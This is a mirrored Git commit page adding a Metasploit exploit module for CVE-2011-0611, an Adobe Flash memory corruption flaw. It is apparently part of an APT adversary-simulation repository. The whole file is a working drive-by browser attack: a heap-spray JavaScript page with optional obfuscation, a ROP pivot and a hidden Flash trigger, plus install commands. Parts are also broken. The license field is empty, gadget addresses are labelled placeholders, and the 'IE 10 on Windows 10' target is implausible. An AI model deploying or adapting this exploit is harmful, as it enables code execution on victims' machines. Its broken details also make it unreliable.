mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Add files via upload
This commit is contained in:
S3N4T0R
@@ -0,0 +1,213 @@
|
||||
# this Modified version of the exploit CVE-2011-0611 based on Windows 10
|
||||
# the original exploit from : https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
|
||||
|
||||
# Author : S3N4T0R
|
||||
# sudo cp EnergeticBear_exploit.rb /usr/share/metasploit-framework/modules/exploits
|
||||
# sudo updatedb
|
||||
# msf6 > search EnergeticBear_exploit
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a memory corruption vulnerability (CVE-2011-0611) in Adobe Flash Player
|
||||
versions 10.2.153.1 and earlier. The vulnerability allows for arbitrary code execution by
|
||||
exploiting a flaw in how Adobe Flash Player handles certain crafted .swf files. By leveraging
|
||||
this vulnerability, an attacker can execute arbitrary code on the victim's system.
|
||||
},
|
||||
'License' => ,
|
||||
'Author' =>
|
||||
[
|
||||
'S3N4T0R',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-0611' ],
|
||||
[ 'OSVDB', '71686' ],
|
||||
[ 'BID', '47314' ],
|
||||
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
|
||||
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
|
||||
[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
|
||||
[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
|
||||
[ 'URL', 'http://web.archive.org/web/20110417154057/http://secunia.com:80/blog/210/' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => "process",
|
||||
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'IE 10 on Windows 10',
|
||||
{
|
||||
'Rop' => true,
|
||||
'Pivot' => 0x7c348b05, # Example ROP gadget address
|
||||
'Offset1' => '0x5E2', # Example offset
|
||||
'Offset2' => '0x02', # Example offset
|
||||
'Max1' => '0x150', # Example spray size
|
||||
'Max2' => '0x200' # Example spray size
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2011-04-11',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
|
||||
], self.class
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-0611.swf")
|
||||
f = File.open(path, "rb")
|
||||
@trigger = f.read(f.stat.size)
|
||||
f.close
|
||||
super
|
||||
end
|
||||
|
||||
def get_target(request)
|
||||
agent = request.headers['User-Agent']
|
||||
|
||||
if agent =~ /Windows NT 10\.0/ and agent =~ /MSIE 10\.0/
|
||||
# Windows 10 with IE 10
|
||||
return targets[1]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
#Set default target
|
||||
my_target = target
|
||||
|
||||
#If user chooses automatic target, we choose one based on user agent
|
||||
if my_target.name =~ /Automatic/
|
||||
my_target = get_target(request)
|
||||
if my_target.nil?
|
||||
print_error("Sending 404 for unknown user-agent")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
vprint_status("Target selected: #{my_target.name}")
|
||||
end
|
||||
|
||||
vprint_status("URL: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
#Browser requests our trigger file, why not
|
||||
print_status("Sending trigger SWF...")
|
||||
send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
|
||||
return
|
||||
end
|
||||
|
||||
#Targets that don't need ROP
|
||||
pivot = "\xb8\x0c\x0c\x0c\x0c" #MOV EAX,0x0c0c0c0c
|
||||
pivot << "\xff\xe0" #JMP EAX
|
||||
pivot << "\x41" #Pad
|
||||
|
||||
#Targets that need ROP
|
||||
if my_target['Rop']
|
||||
#Target Addr=0x11111110
|
||||
pivot =
|
||||
[
|
||||
0x0c0c0c0c, # Padding. Value for ESP after the XCHG pivot
|
||||
my_target['Pivot'], # ROP Pivot
|
||||
0x7c346b52, # EAX (POP ESP; RETN)
|
||||
].pack('V*')
|
||||
|
||||
#Target Addr=0x0c0c0c0c
|
||||
p = generate_rop_payload('java', payload.encoded)
|
||||
else
|
||||
p = payload.encoded
|
||||
end
|
||||
|
||||
arch = Rex::Arch.endian(my_target.arch)
|
||||
|
||||
shellcode = Rex::Text.to_unescape(p, arch)
|
||||
pivot = Rex::Text.to_unescape(pivot, arch)
|
||||
|
||||
#Extract string based on target
|
||||
if my_target.name == 'IE 10 on Windows 10'
|
||||
js_extract_str = "var block = shellcode.substring(0, (0x7ff00-6)/2);"
|
||||
else
|
||||
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
|
||||
end
|
||||
|
||||
randnop = rand_text_alpha(rand(100) + 1)
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4)
|
||||
|
||||
js = <<-JS
|
||||
function heap_spray(heaplib, nops, code, offset, max) {
|
||||
while (nops.length < 0x2000) nops += nops;
|
||||
var offset = nops.substring(0, offset);
|
||||
var shellcode = offset + code + nops.substring(0, 0x2000-code.length-offset.length);
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
#{js_extract_str}
|
||||
heaplib.gc();
|
||||
for (var i=1; i<max; i++) {
|
||||
heaplib.alloc(block);
|
||||
}
|
||||
}
|
||||
|
||||
var heap_obj = new heapLib.ie(0x20000);
|
||||
var #{randnop} = "#{js_nops}";
|
||||
var nops = unescape(#{randnop});
|
||||
var code = unescape("#{shellcode}");
|
||||
heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
|
||||
var fake_pointers = unescape("#{pivot}");
|
||||
heap_spray(heap_obj, fake_pointers, fake_pointers, #{my_target['Offset2']}, #{my_target['Max2']});
|
||||
JS
|
||||
|
||||
js = heaplib(js, {:noobfu => true} )
|
||||
|
||||
#Javascript obfuscation is optional
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate(memory_sensitive: true)
|
||||
end
|
||||
|
||||
trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"
|
||||
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
|
||||
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
|
||||
<param name="movie" value="#{trigger_file_name}" />
|
||||
<embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
|
||||
pluginspage="http://www.macromedia.com/go/getflashplayer">
|
||||
</embed>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
html = html.gsub(/^ {4}/, "")
|
||||
|
||||
print_status("Sending HTML to...")
|
||||
send_response(cli, html, {'Content-Type' => "text/html"} )
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user